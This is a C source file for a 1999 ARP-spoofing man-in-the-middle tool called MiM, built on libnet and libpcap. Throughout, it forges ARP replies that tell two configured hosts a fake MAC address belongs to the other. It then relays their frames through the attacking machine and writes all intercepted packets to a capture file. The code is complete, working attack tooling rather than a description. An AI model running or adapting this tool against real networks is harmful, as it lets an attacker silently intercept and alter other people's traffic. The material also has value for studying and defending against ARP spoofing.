/* MiM -- Man in the Middle. This allows a 3rd party to redirect IP flows * between two IP hosts through the current host. Packets are * simultaneously output to a capture file for replay later (via tcpdump, * ethereal, tcpreplay, etc). * * You'll need to change the global vars to make config changes. I'm lazy * that way. You'll also need libpcap and libnet to work this game. * * cc `libnet-config` -L/usr/local/lib -I/usr/local/include MiM.c -lnet * -lpcap -o MiM * * Copyright 1999, Trevor Schroeder. Licensed under the terms of the GNU * General Public License 2 or greater (see the file COPYING). * * Play nice. YMMV. * * tschroed@zweknu.org * http://www.zweknu.org/projects.php3 for the latest version. * $Id: MiM.c,v 1.8 1999/09/21 21:18:22 tschroed Exp $ */ #include #ifdef __linux__ #include #endif /* __linux__ */ #include #include #include #include /* ########################### ########################### This is the stuff to change ########################### ########################### */ /* Max packet size */ #define PACKET_SIZE (65535) /* Ordinarily, we'll want PROMISC on */ #define PROMISC (1) /* Duh. */ #define CAPFILE "MiM.cap" /* Who is host A? */ u_char MAC_A[]= {0x00,0xe0,0xd0,0x10,0x42,0x58}; u_char IP_A[]= {12,22,176,217}; /* duckdog u_char MAC_A[]= {0x00,0x10,0x4b,0xc7,0x31,0xf7}; u_char IP_A[]= {12,22,176,218}; */ /* Who is host B? */ /* rupert */ u_char MAC_B[]= {0x00,0x50,0xba,0xab,0x72,0xc9}; u_char IP_B[]= {12,22,176,221}; /* vape */ /* u_char MAC_B[]= {0x00,0x10,0x5a,0xe1,0xd3,0xfe}; u_char IP_B[]= {12,22,176,220}; */ /* Who are we pretending to be? */ u_char vMAC[]= {0x66,0x66,0x66,0x66,0x66,0x66}; /* No IP because this is all layer 2, duh */ /* Interface all this will take place on? */ u_char etherdev[]="xl0"; /* ########################### ########################### End stuff to change ########################### ########################### */ /* Globals are a Bad Thing [tm], but this is faster and what the hell, the * compiler can optimize a bit more, maybe */ u_char *packet; char errbuf[65535]; struct link_int *senddev; pcap_t *capdev; pcap_dumper_t *dump; struct bpf_program filter; void arp(u_char *sha, u_char *spa, u_char *dha, u_char *dpa) { int i; libnet_build_arp(ARPHRD_ETHER,IPPROTO_IP,6,4,ARPOP_REPLY, sha,spa,dha,dpa,NULL,0,packet+14); bcopy(dha,packet,6); bcopy(sha,packet+6,6); packet[12]=8; packet[13]=6; packet[16]=8; printf("Telling %d.%d.%d.%d (%2.2x:%2.2x:%2.2x:%2.2x:%2.2x:%2.2x) " "that %d.%d.%d.%d is at %2.2x:%2.2x:%2.2x:%2.2x:%2.2x:%2.2x\n", dpa[0],dpa[1],dpa[2],dpa[3], dha[0],dha[1],dha[2],dha[3],dha[4],dha[5], spa[0],spa[1],spa[2],spa[3], sha[0],sha[1],sha[2],sha[3],sha[4],sha[5]); if(libnet_write_link_layer(senddev,etherdev,packet,60)==-1) { fprintf(stderr,"Failed to write frame.\n"); perror("foo"); exit(1); } return; } /* Ungraceful, but ah well.. */ void kill_catch(int sig) { fprintf(stderr,"Closing up...\n"); /* Fix the ARP tables. =) */ arp(MAC_B,IP_B,MAC_A,IP_A); arp(MAC_A,IP_A,MAC_B,IP_B); pcap_dump_close(dump); pcap_close(capdev); libnet_close_link_interface(senddev); libnet_destroy_packet(&packet); exit(0); } void framehandler(u_char *user, struct pcap_pkthdr *ph, u_char *buf) { /* This is an ARP frame? */ if(buf[12]==8 && buf[13]==6) { /* Not a request */ if(buf[20]!=0 || buf[21]!=1) return; if(bcmp(buf+6,MAC_A,6)==0 && bcmp(buf+38,IP_B,4)==0) { fprintf(stderr,"Looks like an ARP...We'll wait 25ms " " and respond\n"); usleep(25000); arp(vMAC,IP_B,MAC_A,IP_A); } else if(bcmp(buf+6,MAC_B,6)==0 && bcmp(buf+38,IP_A,4)==0) { fprintf(stderr,"Looks like an ARP...We'll wait 25ms " " and respond\n"); usleep(25000); arp(vMAC,IP_A,MAC_B,IP_B); } } else { if(bcmp(buf+6,MAC_A,6)==0) bcopy(MAC_B,buf,6); else bcopy(MAC_A,buf,6); bcopy(vMAC,buf+6,6); pcap_dump(user,ph,buf); libnet_write_link_layer(senddev,etherdev,buf,ph->caplen); } } int main (void) { u_char filterstr[64]; int localnet=0,netmask=0; if(libnet_init_packet(PACKET_SIZE,&packet)==-1) { perror("libnet_init_packet"); exit(1); } if((senddev=libnet_open_link_interface(etherdev,errbuf))==NULL) { fprintf(stderr,"libnet_open_link_interface: %s\n",errbuf); exit(1); } if((capdev=pcap_open_live(etherdev,PACKET_SIZE,PROMISC,1,errbuf))==NULL) { fprintf(stderr,"pcap_open_live: %s\n",errbuf); exit(1); } if(pcap_lookupnet(etherdev,&localnet,&netmask,errbuf)) { fprintf(stderr,"pcap_lookupnet: %s\n",errbuf); exit(1); } /* Watch for traffic */ sprintf(filterstr, "(ether dst %2.2x:%2.2x:%2.2x:%2.2x:%2.2x:%2.2x &&" "(ether src %2.2x:%2.2x:%2.2x:%2.2x:%2.2x:%2.2x ||" "ether src %2.2x:%2.2x:%2.2x:%2.2x:%2.2x:%2.2x))||" /* Or ARPs */ "((ether src %2.2x:%2.2x:%2.2x:%2.2x:%2.2x:%2.2x ||" "ether src %2.2x:%2.2x:%2.2x:%2.2x:%2.2x:%2.2x) &&" "arp)" , vMAC[0],vMAC[1],vMAC[2],vMAC[3],vMAC[4],vMAC[5], MAC_A[0],MAC_A[1],MAC_A[2],MAC_A[3],MAC_A[4],MAC_A[5], MAC_B[0],MAC_B[1],MAC_B[2],MAC_B[3],MAC_B[4],MAC_B[5], MAC_A[0],MAC_A[1],MAC_A[2],MAC_A[3],MAC_A[4],MAC_A[5], MAC_B[0],MAC_B[1],MAC_B[2],MAC_B[3],MAC_B[4],MAC_B[5]); printf("Filter: %s\n",filterstr); if(pcap_compile(capdev,&filter,filterstr,1,netmask)) { pcap_perror(capdev,"pcap_compile"); exit(1); } if(pcap_setfilter(capdev,&filter)) { pcap_perror(capdev,"pcap_setfilter"); exit(1); } if((dump=pcap_dump_open(capdev,CAPFILE))==NULL) { fprintf(stderr,"pcap_dump_open: %s\n",pcap_geterr(capdev)); exit(1); } /* Tell A we're B and B we're A */ arp(vMAC,IP_B,MAC_A,IP_A); arp(vMAC,IP_A,MAC_B,IP_B); /* Catch a bunch of signals, including segfault */ signal(SIGHUP,kill_catch); signal(SIGTERM,kill_catch); signal(SIGINT,kill_catch); signal(SIGSEGV,kill_catch); pcap_loop(capdev,0,framehandler,dump); kill_catch(0); return 0; }